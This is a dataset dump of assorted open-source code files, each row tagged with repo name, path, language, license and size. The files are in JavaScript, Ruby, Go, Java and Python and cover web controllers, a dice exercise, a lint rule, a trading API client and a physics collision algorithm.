code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
'use strict';exports.__esModule = true;var _stringify = require('babel-runtime/core-js/json/stringify');var _stringify2 = _interopRequireDefault(_stringify);var _classCallCheck2 = require('babel-runtime/helpers/classCallCheck');var _classCallCheck3 = _interopRequireDefault(_classCallCheck2);var _possibleConstructorReturn2 = require('babel-runtime/helpers/possibleConstructorReturn');var _possibleConstructorReturn3 = _interopRequireDefault(_possibleConstructorReturn2);var _inherits2 = require('babel-runtime/helpers/inherits');var _inherits3 = _interopRequireDefault(_inherits2);function _interopRequireDefault(obj) {return obj && obj.__esModule ? obj : { default: obj };}var _class = function (_think$controller$bas) {(0, _inherits3.default)(_class, _think$controller$bas);function _class() {(0, _classCallCheck3.default)(this, _class);return (0, _possibleConstructorReturn3.default)(this, _think$controller$bas.apply(this, arguments));} /** * some base method in here */_class.prototype. get = function get(key) { if (key == undefined) { return this.http._get; } return this.http._get[key]; };_class.prototype. post = function post(key) { if (key == undefined) { return this.http._post; } return this.http._post[key]; };_class.prototype. getCookie = function getCookie(key) { if (key == undefined) { return ''; } return this.http._cookie; };_class.prototype. setCookie = function setCookie(key, val) { if (typeof val !== 'string') { val = (0, _stringify2.default)(val); } return this.http._cookie[key] = val; };_class.prototype. apiErrorHandle = function apiErrorHandle(errno) { var API_ERROR_MSG_TABLE = { // user '101': '用户未登录', '102': '用户密码错误', '111': '密码不一致', // category '3000': 'Category name is empty' }; var msg = API_ERROR_MSG_TABLE[errno] || 'system error'; console.log(msg); this.fail(errno, msg); };return _class;}(think.controller.base);exports.default = _class;
JackPu/albums
App/user/controller/base.js
JavaScript
mit
4,099
# Die Class 2: Arbitrary Symbols # I worked on this challenge [by myself, with: ]. # I spent [#] hours on this challenge. # Pseudocode # Input: array of strings # Output: random selection from the array # Steps: initialize the die with a non-empty array # define a method that finds the number of sides (strings in the array) # define a method that rolls and returns a random string from the die array # Initial Solution class Die def initialize(labels) if labels == [] raise ArgumentError.new("Please enter a valid array of strings to set up the die") end @sides = labels.length @labels = labels end def sides @sides end def roll p @labels[rand(@sides)] end end # dice = Die.new(["3"]) # #p dice # #p dice.sides # #dice.roll # Refactored Solution #nothing to refactor # # Reflection # What were the main differences between this die class and the last one you created in terms of implementation? Did you need to change much logic to get this to work? # # Very similiar in implementation, the biggest things that changed were: # 1) the syntax for the error check in intialize now looking for an empty string instead of a particular value # 2) needing to declare another instance variable for the labels themselves so we could call them again later during the roll # 3) changing the roll method to run rand instead the index call for the @labels array # What does this exercise teach you about making code that is easily changeable or modifiable? # super helpful that the solution from the last exercise was easily changeable as it took far less time this week to just build on top of it. # What new methods did you learn when working on this challenge, if any? none # What concepts about classes were you able to solidify in this challenge? usage of the instance variables to make available information to class methods.
schwartztal/phase-0
week-6/die-2/my_solution.rb
Ruby
mit
1,874
// +build !windows package native import "github.com/itchio/butler/endpoints/launch" func handleUE4Prereqs(params launch.LauncherParams) error { // nothing to worry about on non-windows platforms return nil }
itchio/butler
endpoints/launch/launchers/native/ue4_prereqs_stub.go
GO
mit
214
package com.ntlx.exception; public class BoardNotFoundException extends KanbanException { private static final long serialVersionUID = 1L; private int boardId; public BoardNotFoundException (int boardId) { this.boardId = boardId; } public String getMessage() { return "Board not found. (ID: " + boardId + ")"; } }
NautiluX/yukan
java_backend/src/main/java/com/ntlx/exception/BoardNotFoundException.java
Java
mit
326
# coding: utf-8 require_relative 'wrapper_comparator' module Comparability module Comparators class ReverseWrapperComparator < WrapperComparator def compare(me, other) reverse(wrapped_compare(me, other)) end private def reverse(comparison_result) if comparison_result.nil? || comparison_result.zero? comparison_result else -comparison_result end end end end end
ippeiukai/comparability
lib/comparability/comparators/reverse_wrapper_comparator.rb
Ruby
mit
461
<h2>Editing Tip</h2> <br> <?php echo render('admin/tips/_form'); ?> <p> <?php echo Html::anchor('admin/tips/view/'.$tip->id, 'View'); ?> | <?php echo Html::anchor('admin/tips', 'Back'); ?></p>
gudeg-united/mishAPP
fuel/app/views/admin/tips/edit.php
PHP
mit
196
package com.hyh.arithmetic.skills; import android.annotation.SuppressLint; import java.util.ArrayList; import java.util.List; /** * 规划了一份需求的技能清单 req_skills,并打算从备选人员名单 people 中选出些人组成一个「必要团队」 * ( 编号为 i 的备选人员 people[i] 含有一份该备选人员掌握的技能列表)。 * 所谓「必要团队」,就是在这个团队中,对于所需求的技能列表 req_skills 中列出的每项技能,团队中至少有一名成员已经掌握。 * 我们可以用每个人的编号来表示团队中的成员:例如,团队 team = [0, 1, 3] 表示掌握技能分别为 people[0],people[1],和 people[3] 的备选人员。 * 请你返回 任一 规模最小的必要团队,团队成员用人员编号表示。你可以按任意顺序返回答案,本题保证答案存在。 * <p> * 示例 1: * 输入:req_skills = ["java","nodejs","reactjs"], * people = [["java"],["nodejs"],["nodejs","reactjs"]] * 输出:[0,2] * <p> * 示例 2: * 输入:req_skills = ["algorithms","math","java","reactjs","csharp","aws"], * people = [["algorithms","math","java"],["algorithms","math","reactjs"],["java","csharp","aws"],["reactjs","csharp"],["csharp","math"],["aws","java"]] * 输出:[1,2] * <p> * <p> * 1 <= req_skills.length <= 16 * 1 <= people.length <= 60 * 1 <= people[i].length, req_skills[i].length, people[i][j].length <= 16 * req_skills 和 people[i] 中的元素分别各不相同 * req_skills[i][j], people[i][j][k] 都由小写英文字母组成 * 本题保证「必要团队」一定存在 */ public class Solution4 { @SuppressLint("UseSparseArrays") public int[] smallestSufficientTeam(String[] req_skills, List<List<String>> people) { int req_skills_code = (int) (Math.pow(2, req_skills.length) - 1); List<Integer> people_code = new ArrayList<>(); for (int i = 0; i < people.size(); i++) { List<String> person_skills = people.get(i); int person_code = 0; for (int j = 0; j < person_skills.size(); j++) { String skill = person_skills.get(j); int index = indexOf(req_skills, skill); if (index >= 0) { person_code += Math.pow(2, index); } } people_code.add(person_code); } for (int i = 0; i < people_code.size(); i++) { Integer i_person_code = people_code.get(i); if (i_person_code == 0) continue; if (i == people_code.size() - 1) break; for (int j = i + 1; j < people_code.size(); j++) { Integer j_person_code = people_code.get(j); if ((i_person_code | j_person_code) == j_person_code) { people_code.set(i, 0); } else if ((i_person_code | j_person_code) == i_person_code) { people_code.set(j, 0); } } } Object[] preResult = new Object[req_skills.length]; Object[] result = new Object[req_skills.length]; /*Integer person_code = people_code.get(0); for (int i = 0; i < req_skills.length; i++) { int skills_code = (int) (Math.pow(2, i + 1) - 1); if ((person_code | skills_code) == person_code) { preResult[i] = new int[]{0}; } else { break; } }*/ int person_code = 0; for (int i = 0; i < people_code.size(); i++) { person_code |= people_code.get(i); for (int j = 0; j < req_skills.length; j++) { int skills_code = (int) (Math.pow(2, j + 1) - 1); if ((person_code | skills_code) == person_code) { //result[i] = new int[]{0}; } else { } } } /*for (int i = 0; i < req_skills.length; i++) { int skills_code = (int) (Math.pow(2, i + 1) - 1); int people_code_temp = 0; for (int j = 0; j < people_code.size(); j++) { people_code_temp |= people_code.get(j); if () { } } preResult = result; }*/ return null; } private int indexOf(String[] req_skills, String skill) { for (int index = 0; index < req_skills.length; index++) { String req_skill = req_skills[index]; if (req_skill.equals(skill)) return index; } return -1; } }
EricHyh/FileDownloader
ArithmeticDemo/src/main/java/com/hyh/arithmetic/skills/Solution4.java
Java
mit
4,599
// Generated by CoffeeScript 1.8.0 (function() { var TaskSchema, mongoose; mongoose = require('./mongoose'); TaskSchema = mongoose.Schema({ id: { type: Number, unique: true }, title: { type: String }, url: { type: String, unique: true }, status: { type: Number, "default": 1 } }); module.exports = mongoose.model('Task', TaskSchema); }).call(this); //# sourceMappingURL=tasks.js.map
youqingkui/fav-dailyzhihu2evernote
models/tasks.js
JavaScript
mit
472
var mongoose = require('mongoose'), _ = require('underscore'), roomTokenizer = function(msg) { var tokens = []; tokens = tokens.concat(msg.content.split(' ')); tokens.push(msg.author); return tokens; }; exports.init = function(db) { var EntitySchemaDefinition, EntitySchema, EntityModel; //create schema EntitySchemaDefinition = { content : { type: String, required: true }, author: { email: String, username: String, avatar: String }, room: { type: mongoose.Schema.ObjectId, required: true }, status: { type: Number, required: true }, date : { type: Date }, keywords: [String] }; EntitySchema = new mongoose.Schema(EntitySchemaDefinition, {autoIndex: false} ); EntitySchema.index({keywords: 1}); //during save update all keywords EntitySchema.pre('save', function(next) { //set dates if ( !this.date ) { this.date = new Date(); } //clearing keywords this.keywords.length = 0; //adding keywords this.keywords = this.keywords.concat(roomTokenizer(this)); next(); }); EntityModel = db.model('Message', EntitySchema); return EntityModel; };
vitoss/Corpo-Chat
service/lib/model/Message.js
JavaScript
mit
1,286
import React, { PropTypes } from 'react' import { Grid, Row, Col } from 'react-bootstrap' import Sort from '../../components/Sort' import ProjectFilterForm from '../../components/ProjectFilterForm' import Search from '../../containers/Search' import ProjectsDashboardStatContainer from '../../containers/ProjectsDashboardStatContainer'; import { PROJECTS_SORT } from '../../resources/options' const ProjectsDashboard = (props) => { return ( <Grid fluid> <Row> <Col xs={12} md={4}> <ProjectsDashboardStatContainer /> </Col> <Col xs={12} md={8}> Latest Updates </Col> </Row> <Row> <Col md={12}> <Search types={['projects']} searchId='projectsDashboardSearch' filterElement={<ProjectFilterForm />} sortElement={<Sort options={PROJECTS_SORT} />} /> </Col> </Row> </Grid> ) } export default ProjectsDashboard
envisioning/tdb-storybook
src/pages/ProjectsDashboard/index.js
JavaScript
mit
978
import _plotly_utils.basevalidators class TextfontValidator(_plotly_utils.basevalidators.CompoundValidator): def __init__(self, plotly_name="textfont", parent_name="scattersmith", **kwargs): super(TextfontValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, data_class_str=kwargs.pop("data_class_str", "Textfont"), data_docs=kwargs.pop( "data_docs", """ color colorsrc Sets the source reference on Chart Studio Cloud for `color`. family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The Chart Studio Cloud (at https://chart-studio.plotly.com or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on Chart Studio Cloud for `family`. size sizesrc Sets the source reference on Chart Studio Cloud for `size`. """, ), **kwargs )
plotly/plotly.py
packages/python/plotly/plotly/validators/scattersmith/_textfont.py
Python
mit
1,869
export default function mapNodesToColumns({ children = [], columns = 1, dimensions = [], } = {}) { let nodes = [] let heights = [] if (columns === 1) { return children } // use dimensions to calculate the best column for each child if (dimensions.length && dimensions.length === children.length) { for(let i=0; i<columns; i++) { nodes[i] = [] heights[i] = 0 } children.forEach((child, i) => { let { width, height } = dimensions[i] let index = heights.indexOf(Math.min(...heights)) nodes[index].push(child) heights[index] += height / width }) } // equally spread the children across the columns else { for(let i=0; i<columns; i++) { nodes[i] = children.filter((child, j) => j % columns === i) } } return nodes }
novascreen/react-columns
src/mapNodesToColumns.js
JavaScript
mit
811
/** * @fileoverview enforce or disallow capitalization of the first letter of a comment * @author Kevin Partington */ "use strict"; //------------------------------------------------------------------------------ // Requirements //------------------------------------------------------------------------------ const LETTER_PATTERN = require("../util/patterns/letters"); const astUtils = require("../util/ast-utils"); //------------------------------------------------------------------------------ // Helpers //------------------------------------------------------------------------------ const DEFAULT_IGNORE_PATTERN = astUtils.COMMENTS_IGNORE_PATTERN, WHITESPACE = /\s/g, MAYBE_URL = /^\s*[^:/?#\s]+:\/\/[^?#]/, // TODO: Combine w/ max-len pattern? DEFAULTS = { ignorePattern: null, ignoreInlineComments: false, ignoreConsecutiveComments: false }; /* * Base schema body for defining the basic capitalization rule, ignorePattern, * and ignoreInlineComments values. * This can be used in a few different ways in the actual schema. */ const SCHEMA_BODY = { type: "object", properties: { ignorePattern: { type: "string" }, ignoreInlineComments: { type: "boolean" }, ignoreConsecutiveComments: { type: "boolean" } }, additionalProperties: false }; /** * Get normalized options for either block or line comments from the given * user-provided options. * - If the user-provided options is just a string, returns a normalized * set of options using default values for all other options. * - If the user-provided options is an object, then a normalized option * set is returned. Options specified in overrides will take priority * over options specified in the main options object, which will in * turn take priority over the rule's defaults. * * @param {Object|string} rawOptions The user-provided options. * @param {string} which Either "line" or "block". * @returns {Object} The normalized options. */ function getNormalizedOptions(rawOptions, which) { if (!rawOptions) { return Object.assign({}, DEFAULTS); } return Object.assign({}, DEFAULTS, rawOptions[which] || rawOptions); } /** * Get normalized options for block and line comments. * * @param {Object|string} rawOptions The user-provided options. * @returns {Object} An object with "Line" and "Block" keys and corresponding * normalized options objects. */ function getAllNormalizedOptions(rawOptions) { return { Line: getNormalizedOptions(rawOptions, "line"), Block: getNormalizedOptions(rawOptions, "block") }; } /** * Creates a regular expression for each ignorePattern defined in the rule * options. * * This is done in order to avoid invoking the RegExp constructor repeatedly. * * @param {Object} normalizedOptions The normalized rule options. * @returns {void} */ function createRegExpForIgnorePatterns(normalizedOptions) { Object.keys(normalizedOptions).forEach(key => { const ignorePatternStr = normalizedOptions[key].ignorePattern; if (ignorePatternStr) { const regExp = RegExp(`^\\s*(?:${ignorePatternStr})`); normalizedOptions[key].ignorePatternRegExp = regExp; } }); } //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ module.exports = { meta: { type: "suggestion", docs: { description: "enforce or disallow capitalization of the first letter of a comment", category: "Stylistic Issues", recommended: false, url: "https://eslint.org/docs/rules/capitalized-comments" }, fixable: "code", schema: [ { enum: ["always", "never"] }, { oneOf: [ SCHEMA_BODY, { type: "object", properties: { line: SCHEMA_BODY, block: SCHEMA_BODY }, additionalProperties: false } ] } ], messages: { unexpectedLowercaseComment: "Comments should not begin with a lowercase character", unexpectedUppercaseComment: "Comments should not begin with an uppercase character" } }, create(context) { const capitalize = context.options[0] || "always", normalizedOptions = getAllNormalizedOptions(context.options[1]), sourceCode = context.getSourceCode(); createRegExpForIgnorePatterns(normalizedOptions); //---------------------------------------------------------------------- // Helpers //---------------------------------------------------------------------- /** * Checks whether a comment is an inline comment. * * For the purpose of this rule, a comment is inline if: * 1. The comment is preceded by a token on the same line; and * 2. The command is followed by a token on the same line. * * Note that the comment itself need not be single-line! * * Also, it follows from this definition that only block comments can * be considered as possibly inline. This is because line comments * would consume any following tokens on the same line as the comment. * * @param {ASTNode} comment The comment node to check. * @returns {boolean} True if the comment is an inline comment, false * otherwise. */ function isInlineComment(comment) { const previousToken = sourceCode.getTokenBefore(comment, { includeComments: true }), nextToken = sourceCode.getTokenAfter(comment, { includeComments: true }); return Boolean( previousToken && nextToken && comment.loc.start.line === previousToken.loc.end.line && comment.loc.end.line === nextToken.loc.start.line ); } /** * Determine if a comment follows another comment. * * @param {ASTNode} comment The comment to check. * @returns {boolean} True if the comment follows a valid comment. */ function isConsecutiveComment(comment) { const previousTokenOrComment = sourceCode.getTokenBefore(comment, { includeComments: true }); return Boolean( previousTokenOrComment && ["Block", "Line"].indexOf(previousTokenOrComment.type) !== -1 ); } /** * Check a comment to determine if it is valid for this rule. * * @param {ASTNode} comment The comment node to process. * @param {Object} options The options for checking this comment. * @returns {boolean} True if the comment is valid, false otherwise. */ function isCommentValid(comment, options) { // 1. Check for default ignore pattern. if (DEFAULT_IGNORE_PATTERN.test(comment.value)) { return true; } // 2. Check for custom ignore pattern. const commentWithoutAsterisks = comment.value .replace(/\*/g, ""); if (options.ignorePatternRegExp && options.ignorePatternRegExp.test(commentWithoutAsterisks)) { return true; } // 3. Check for inline comments. if (options.ignoreInlineComments && isInlineComment(comment)) { return true; } // 4. Is this a consecutive comment (and are we tolerating those)? if (options.ignoreConsecutiveComments && isConsecutiveComment(comment)) { return true; } // 5. Does the comment start with a possible URL? if (MAYBE_URL.test(commentWithoutAsterisks)) { return true; } // 6. Is the initial word character a letter? const commentWordCharsOnly = commentWithoutAsterisks .replace(WHITESPACE, ""); if (commentWordCharsOnly.length === 0) { return true; } const firstWordChar = commentWordCharsOnly[0]; if (!LETTER_PATTERN.test(firstWordChar)) { return true; } // 7. Check the case of the initial word character. const isUppercase = firstWordChar !== firstWordChar.toLocaleLowerCase(), isLowercase = firstWordChar !== firstWordChar.toLocaleUpperCase(); if (capitalize === "always" && isLowercase) { return false; } if (capitalize === "never" && isUppercase) { return false; } return true; } /** * Process a comment to determine if it needs to be reported. * * @param {ASTNode} comment The comment node to process. * @returns {void} */ function processComment(comment) { const options = normalizedOptions[comment.type], commentValid = isCommentValid(comment, options); if (!commentValid) { const messageId = capitalize === "always" ? "unexpectedLowercaseComment" : "unexpectedUppercaseComment"; context.report({ node: null, // Intentionally using loc instead loc: comment.loc, messageId, fix(fixer) { const match = comment.value.match(LETTER_PATTERN); return fixer.replaceTextRange( // Offset match.index by 2 to account for the first 2 characters that start the comment (// or /*) [comment.range[0] + match.index + 2, comment.range[0] + match.index + 3], capitalize === "always" ? match[0].toLocaleUpperCase() : match[0].toLocaleLowerCase() ); } }); } } //---------------------------------------------------------------------- // Public //---------------------------------------------------------------------- return { Program() { const comments = sourceCode.getAllComments(); comments.filter(token => token.type !== "Shebang").forEach(processComment); } }; } };
Aladdin-ADD/eslint
lib/rules/capitalized-comments.js
JavaScript
mit
10,861
namespace PythonSharp.Exceptions { using System; using System.Collections.Generic; using System.Linq; using System.Text; public class AttributeError : Exception { public AttributeError(string message) : base(message) { } } }
ajlopez/PythonSharp
Src/PythonSharp/Exceptions/AttributeError.cs
C#
mit
308
package iso20022 // Security that is a sub-set of an investment fund, and is governed by the same investment fund policy, eg, dividend option or valuation currency. type FinancialInstrument11 struct { // Unique and unambiguous identifier of a security, assigned under a formal or proprietary identification scheme. Identification *SecurityIdentification3Choice `xml:"Id"` // Name of the financial instrument in free format text. Name *Max350Text `xml:"Nm,omitempty"` // Specifies whether the financial instrument is transferred as an asset or as cash. TransferType *TransferType1Code `xml:"TrfTp"` } func (f *FinancialInstrument11) AddIdentification() *SecurityIdentification3Choice { f.Identification = new(SecurityIdentification3Choice) return f.Identification } func (f *FinancialInstrument11) SetName(value string) { f.Name = (*Max350Text)(&value) } func (f *FinancialInstrument11) SetTransferType(value string) { f.TransferType = (*TransferType1Code)(&value) }
fgrid/iso20022
FinancialInstrument11.go
GO
mit
983
module.exports = { FIREBASE_URL: 'https://amber-heat-<your-app>.firebaseio.com/', TWITTER_KEY: '', TWITTER_SECRET: '', TWITTER_CALLBACK: process.env.TWITTER_CALLBACK || 'Twitter Callback Url' };
mikhailbartashevich/ngCarcass
server/config.js
JavaScript
mit
199
/** * @hidden * @param a0 * @param a1 * @param a2 * @param a3 * @param a4 * @param a5 * @param a6 * @param a7 * @param b0 * @param b1 * @param b2 * @param b3 * @param b4 * @param b5 * @param b6 * @param b7 * @param index * @returns */ export declare function extE3(a0: number, a1: number, a2: number, a3: number, a4: number, a5: number, a6: number, a7: number, b0: number, b1: number, b2: number, b3: number, b4: number, b5: number, b6: number, b7: number, index: number): number;
geometryzen/davinci-newton
build/module/lib/math/extE3.d.ts
TypeScript
mit
501
require 'rails_helper' describe SectionSevenController do it { should respond_to(:index) } end
impact100/common-grant-application
spec/controllers/section_seven_controller_spec.rb
Ruby
mit
98
/** * Copyright (C) 2012 - 2014 Xeiam LLC http://xeiam.com * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is furnished to do * so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package com.xeiam.xchange.justcoin.service.polling; import java.io.IOException; import java.util.Collection; import java.util.HashSet; import java.util.Set; import si.mazi.rescu.RestProxyFactory; import com.xeiam.xchange.ExchangeSpecification; import com.xeiam.xchange.currency.CurrencyPair; import com.xeiam.xchange.justcoin.Justcoin; import com.xeiam.xchange.justcoin.JustcoinAdapters; import com.xeiam.xchange.justcoin.dto.marketdata.JustcoinTicker; import com.xeiam.xchange.service.BaseExchangeService; import com.xeiam.xchange.utils.AuthUtils; public class JustcoinBasePollingService<T extends Justcoin> extends BaseExchangeService { protected final T justcoin; private final Set<CurrencyPair> currencyPairs = new HashSet<CurrencyPair>(); /** * Constructor * * @param exchangeSpecification The {@link ExchangeSpecification} */ public JustcoinBasePollingService(Class<T> type, ExchangeSpecification exchangeSpecification) { super(exchangeSpecification); this.justcoin = RestProxyFactory.createProxy(type, exchangeSpecification.getSslUri()); } @Override public Collection<CurrencyPair> getExchangeSymbols() throws IOException { if (currencyPairs.isEmpty()) { for (final JustcoinTicker ticker : justcoin.getTickers()) { final CurrencyPair currencyPair = JustcoinAdapters.adaptCurrencyPair(ticker.getId()); currencyPairs.add(currencyPair); } } return currencyPairs; } protected String getBasicAuthentication() { return AuthUtils.getBasicAuth(exchangeSpecification.getUserName(), exchangeSpecification.getPassword()); } }
habibmasuro/XChange
xchange-justcoin/src/main/java/com/xeiam/xchange/justcoin/service/polling/JustcoinBasePollingService.java
Java
mit
2,758
'use strict' const _ = require('lodash') module.exports = { getQueryString(url) { const qs = {} _.forEach(url.split('?').pop().split('&'), s => { if (!s) return const kv = s.split('=') if (kv[0]) { qs[kv[0]] = decodeURIComponent(kv[1]) } }) return qs }, toQueryString(o) { return _.keys(o).map(k => k + '=' + encodeURIComponent(o[k])).join('&') }, isMobile(v) { return /^1[358]\d{9}$/.test(v) }, getRandomStr() { return (1e32 * Math.random()).toString(36).slice(0, 16) } }
tmspnn/uic
src/util/helpers.js
JavaScript
mit
554
/* * This file is part of React, licensed under the MIT License (MIT). * * Copyright (c) 2013 Flow Powered <https://flowpowered.com/> * Original ReactPhysics3D C++ library by Daniel Chappuis <http://danielchappuis.ch> * React is re-licensed with permission from ReactPhysics3D author. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.flowpowered.react.collision.narrowphase.EPA; import java.util.Comparator; import java.util.PriorityQueue; import java.util.Queue; import com.flowpowered.react.ReactDefaults; import com.flowpowered.react.collision.narrowphase.GJK.GJKAlgorithm; import com.flowpowered.react.collision.narrowphase.GJK.Simplex; import com.flowpowered.react.collision.shape.CollisionShape; import com.flowpowered.react.constraint.ContactPoint.ContactPointInfo; import com.flowpowered.react.math.Matrix3x3; import com.flowpowered.react.math.Quaternion; import com.flowpowered.react.math.Transform; import com.flowpowered.react.math.Vector3; /** * This class is the implementation of the Expanding Polytope Algorithm (EPA). The EPA algorithm computes the penetration depth and contact points between two enlarged objects (with margin) where the * original objects (without margin) intersect. The penetration depth of a pair of intersecting objects A and B is the length of a point on the boundary of the Minkowski sum (A-B) closest to the * origin. The goal of the EPA algorithm is to start with an initial simplex polytope that contains the origin and expend it in order to find the point on the boundary of (A-B) that is closest to the * origin. An initial simplex that contains the origin has been computed with the GJK algorithm. The EPA Algorithm will extend this simplex polytope to find the correct penetration depth. The * implementation of the EPA algorithm is based on the book "Collision Detection in 3D Environments". */ public class EPAAlgorithm { private static final int MAX_SUPPORT_POINTS = 100; private static final int MAX_FACETS = 200; /** * Computes the penetration depth with the EPA algorithm. This method computes the penetration depth and contact points between two enlarged objects (with margin) where the original objects * (without margin) intersect. An initial simplex that contains the origin has been computed with GJK algorithm. The EPA Algorithm will extend this simplex polytope to find the correct penetration * depth. Returns true if the computation was successful, false if not. * * @param simplex The initial simplex * @param collisionShape1 The first collision shape * @param transform1 The transform of the first collision shape * @param collisionShape2 The second collision shape * @param transform2 The transform of the second collision shape * @param v The vector in which to store the closest point * @param contactInfo The contact info in which to store the contact info of the collision * @return Whether or not the computation was successful */ public boolean computePenetrationDepthAndContactPoints(Simplex simplex, CollisionShape collisionShape1, Transform transform1, CollisionShape collisionShape2, Transform transform2, Vector3 v, ContactPointInfo contactInfo) { final Vector3[] suppPointsA = new Vector3[MAX_SUPPORT_POINTS]; final Vector3[] suppPointsB = new Vector3[MAX_SUPPORT_POINTS]; final Vector3[] points = new Vector3[MAX_SUPPORT_POINTS]; final TrianglesStore triangleStore = new TrianglesStore(); final Queue<TriangleEPA> triangleHeap = new PriorityQueue<>(MAX_FACETS, new TriangleComparison()); final Transform body2Tobody1 = Transform.multiply(transform1.getInverse(), transform2); final Matrix3x3 rotateToBody2 = Matrix3x3.multiply(transform2.getOrientation().getMatrix().getTranspose(), transform1.getOrientation().getMatrix()); int nbVertices = simplex.getSimplex(suppPointsA, suppPointsB, points); final float tolerance = ReactDefaults.MACHINE_EPSILON * simplex.getMaxLengthSquareOfAPoint(); int nbTriangles = 0; triangleStore.clear(); switch (nbVertices) { case 1: return false; case 2: { final Vector3 d = Vector3.subtract(points[1], points[0]).getUnit(); final int minAxis = d.getAbsoluteVector().getMinAxis(); final float sin60 = (float) Math.sqrt(3) * 0.5f; final Quaternion rotationQuat = new Quaternion(d.getX() * sin60, d.getY() * sin60, d.getZ() * sin60, 0.5f); final Matrix3x3 rotationMat = rotationQuat.getMatrix(); final Vector3 v1 = d.cross(new Vector3(minAxis == 0 ? 1 : 0, minAxis == 1 ? 1 : 0, minAxis == 2 ? 1 : 0)); final Vector3 v2 = Matrix3x3.multiply(rotationMat, v1); final Vector3 v3 = Matrix3x3.multiply(rotationMat, v2); suppPointsA[2] = collisionShape1.getLocalSupportPointWithMargin(v1); suppPointsB[2] = Transform.multiply( body2Tobody1, collisionShape2.getLocalSupportPointWithMargin(Matrix3x3.multiply(rotateToBody2, Vector3.negate(v1)))); points[2] = Vector3.subtract(suppPointsA[2], suppPointsB[2]); suppPointsA[3] = collisionShape1.getLocalSupportPointWithMargin(v2); suppPointsB[3] = Transform.multiply( body2Tobody1, collisionShape2.getLocalSupportPointWithMargin(Matrix3x3.multiply(rotateToBody2, Vector3.negate(v2)))); points[3] = Vector3.subtract(suppPointsA[3], suppPointsB[3]); suppPointsA[4] = collisionShape1.getLocalSupportPointWithMargin(v3); suppPointsB[4] = Transform.multiply( body2Tobody1, collisionShape2.getLocalSupportPointWithMargin(Matrix3x3.multiply(rotateToBody2, Vector3.negate(v3)))); points[4] = Vector3.subtract(suppPointsA[4], suppPointsB[4]); if (isOriginInTetrahedron(points[0], points[2], points[3], points[4]) == 0) { suppPointsA[1].set(suppPointsA[4]); suppPointsB[1].set(suppPointsB[4]); points[1].set(points[4]); } else if (isOriginInTetrahedron(points[1], points[2], points[3], points[4]) == 0) { suppPointsA[0].set(suppPointsA[4]); suppPointsB[0].set(suppPointsB[4]); points[0].set(points[4]); } else { return false; } nbVertices = 4; } case 4: { final int badVertex = isOriginInTetrahedron(points[0], points[1], points[2], points[3]); if (badVertex == 0) { final TriangleEPA face0 = triangleStore.newTriangle(points, 0, 1, 2); final TriangleEPA face1 = triangleStore.newTriangle(points, 0, 3, 1); final TriangleEPA face2 = triangleStore.newTriangle(points, 0, 2, 3); final TriangleEPA face3 = triangleStore.newTriangle(points, 1, 3, 2); if (!(face0 != null && face1 != null && face2 != null && face3 != null && face0.getDistSquare() > 0 && face1.getDistSquare() > 0 && face2.getDistSquare() > 0 && face3.getDistSquare() > 0)) { return false; } TriangleEPA.link(new EdgeEPA(face0, 0), new EdgeEPA(face1, 2)); TriangleEPA.link(new EdgeEPA(face0, 1), new EdgeEPA(face3, 2)); TriangleEPA.link(new EdgeEPA(face0, 2), new EdgeEPA(face2, 0)); TriangleEPA.link(new EdgeEPA(face1, 0), new EdgeEPA(face2, 2)); TriangleEPA.link(new EdgeEPA(face1, 1), new EdgeEPA(face3, 0)); TriangleEPA.link(new EdgeEPA(face2, 1), new EdgeEPA(face3, 1)); nbTriangles = addFaceCandidate(face0, triangleHeap, nbTriangles, Float.MAX_VALUE); nbTriangles = addFaceCandidate(face1, triangleHeap, nbTriangles, Float.MAX_VALUE); nbTriangles = addFaceCandidate(face2, triangleHeap, nbTriangles, Float.MAX_VALUE); nbTriangles = addFaceCandidate(face3, triangleHeap, nbTriangles, Float.MAX_VALUE); break; } if (badVertex < 4) { suppPointsA[badVertex - 1].set(suppPointsA[4]); suppPointsB[badVertex - 1].set(suppPointsB[4]); points[badVertex - 1].set(points[4]); } nbVertices = 3; } case 3: { final Vector3 v1 = 